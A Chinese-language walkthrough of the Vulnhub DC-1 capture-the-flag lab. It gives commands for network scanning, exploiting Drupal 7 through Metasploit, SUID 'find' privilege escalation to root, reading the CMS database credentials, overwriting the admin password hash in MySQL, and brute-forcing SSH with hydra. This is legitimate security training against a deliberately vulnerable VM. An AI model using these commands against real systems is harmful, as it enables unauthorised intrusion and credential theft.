Vulnhub实战靶场:DC-1

安装配置

DC靶场1-9下载链接
链接:https://pan.baidu.com/s/1a5xbx60waiS4uYpkCA8pOA 
提取码:tx2j 

下载之后解压,直接双击用VM打开。

DC靶机设置网卡为NAT。同时kail也设置为NAT。

直接启动DC靶机就好了,启动时所有选项均勾选“是”

靶场攻略

信息收集

arp-scan -l    查看局域网内存活的主机

 发现192.168.131.142主机存活

对其所有端口进行扫描
nmap -p- 192.168.131.142

有四个端口开放

 我们先访问80端口  http://192.168.131.142:80

 发现是一个可以访问的web网页。

利用火狐插件(Wappalyzer)直接可以看到该靶场相关指纹

 我们也可以借助kail的whatweb工具进行相关指纹收集

whatweb http://192.168.131.142/

 根据上面的信息收集,我们可以知道该靶场的相关指纹。

CMS:Drupal 7
中间件:apache 2.2.22
PHP 5.4.45

我们先用MSF看一下CMS有没有公布的漏洞

输入命令  search Drupal
搜索到了相关可以利用的exp

 可以看出最新的是一个APi注入,我们尝试使用一些最新的漏洞利用。

我们直接输入命令  use 4  进入模块

进入模块之后,查看需要设置的相关参数

show options

 从上图可以看出我们只需要设置rhost参数就可以了

set rhost 192.168.131.142

启动攻击,成功getshell

输入命令:
shell
python -c 'import pty;pty.spawn("/bin/bash")',  获取以python作为伪终端的交互shell

输入 whoami  查看当前权限

 输入 ls -l 查看当前文件夹的文件列表

扩展---利用find直接获取flag4

find / -type f -perm -u=s 2>/dev/null  查看拥有suid权限的文件

发现find命令有suid权限

建立一个文件供find命令使用,也可以使用已经存在的文件。

find 123 -exec "whoami" ;

 

发现是root权限

这样的话,我们可以使用find命令进行提权。

find 123 -exec "/bin/sh" ;

直接获取flag4

cat /home/flag4/flag4.txt

获取flag1

查看flag1

 好像有提示,跟CMS的配置文件有关

百度了一下,drupal的数据库配置文件在 /sites/default/settings.php

 

 发现目标文件

cat settings.php    查看该文件

发现flag2

发现该靶机的数据库密码

mysql -udbuser -pR0ck3t

登录数据库成功

use drupaldb;   进入drupaldb数据库
show tables;  查看数据库的所有表

发现users表

select * from users;  查询users表中相关信息

 发现管理员密码

这里我们破解admin 用户密码要耗费时间,我们可以考虑重置admin 用户密码

百度之后,发现drupal 自带脚本重新生成密码

重置管理员密码

退出数据库,并进入到脚本所在/var/www目录

php scripts/password-hash.sh admin
./scripts/password-hash.sh admin

再次进入数据库  mysql -udbuser -pR0ck3t

更新管理员密码为admin

update drupaldb.users set pass="$S$D9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt" where name='admin';

登录后台

拿到flag3

 提示passwd,我就只想到了/etc/passwd

cat /etc/passwd

 通过查看/etc/passwd

发现flag4用户存在家目录,是可以登录的

但是我们不知道密码,可以尝试爆破。

hydra -l flag4 -P /usr/share/john/password.lst 192.168.131.142 ssh -vV -f -o hydra.ssh

使用ssh连接时出现错误

 需要把   PermitRootLogin  注释掉

ssh flag4@192.168.131.142

输入密码  orange 登录成功

 获取flag4

 登录成功之后,但我们不是root权限

提权

 利用find提权

find / -type f -perm -u=s 2>/dev/null    查看具有suid权限的文件

发现find命令具有suid权限

随便建一个文件,供给find查询使用

查询一下find命令的权限

find 123 -exec "whoami" ;

 发现find具有root权限

find 123 -exec "/bin/sh" ;

提权成功

 flag5

flage5在root目录下。我忘记上图了

原文地址:https://www.cnblogs.com/Xshun-z/p/14057119.html